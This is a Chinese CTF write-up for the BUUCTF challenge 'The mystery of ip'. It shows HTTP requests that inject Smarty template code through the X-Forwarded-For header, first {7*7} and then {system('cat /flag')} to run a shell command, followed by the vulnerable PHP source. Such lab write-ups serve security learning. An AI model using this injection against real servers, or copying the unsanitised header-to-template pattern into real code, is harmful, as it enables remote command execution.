[网络协议]buuctf-[BJDCTF2020]The mystery of ip

考点

模板注入

复现

看到提示，说是怎么知道我的ip，那就说明应该是该请求头，然后模板注入，然后发现果然是。
在请求头加入X-Forwarded-For:

GET /flag.php HTTP/1.1
Host: node4.buuoj.cn:28006
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://node4.buuoj.cn:28006/hint.php
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 1.1.1.1 #表明自己的ip
Content-Length: 2

然后发现成功了

测试{7*7}

GET /flag.php HTTP/1.1
Host: node4.buuoj.cn:28006
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://node4.buuoj.cn:28006/hint.php
Upgrade-Insecure-Requests: 1
X-Forwarded-For: {7*7}
Content-Length: 2

说明有模板注入

执行shell

GET /flag.php HTTP/1.1
Host: node4.buuoj.cn:28006
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://node4.buuoj.cn:28006/hint.php
Upgrade-Insecure-Requests: 1
X-Forwarded-For: {system('cat /flag')}
Content-Length: 2

得到flag

让我们看看后台代码

<?php
                    require_once('header.php');
                    require_once('./libs/Smarty.class.php');
                    $smarty = new Smarty();
                    if (!empty($_SERVER['HTTP_CLIENT_IP']))
                    {
                      $ip=$_SERVER['HTTP_CLIENT_IP'];
                    }
                    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
                    {
                      $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
                    }
                    else
                    {
                      $ip=$_SERVER['REMOTE_ADDR'];
                    }
                    //$your_ip = $smarty->
                    display("string:".$ip);
                    echo "
                    <div class=\"container panel1\">
                      <div class=\"row\">
                        <div class=\"col-md-4\"></div>
                        <div class=\"col-md-4\">
                          <div class=\"jumbotron pan\">
                            <div class=\"form-group log\">
                              <label>
                                <h2>Your IP is : ";
                                  $smarty->display("string:".$ip);
                                  echo "";
                    ?>
        </div>

其中$_SERVER[‘HTTP_X_FORWARDED_FOR’]为我们在请求头中设置的内容。为什么？在服务器的设置中，详情见参考。

参考

HTTP_X_FORWARDED_FOR 和 REMOTE_ADDR 的区别
HTTP 请求头中的 Remote_Addr，X-Forwarded-For，X-Real-IP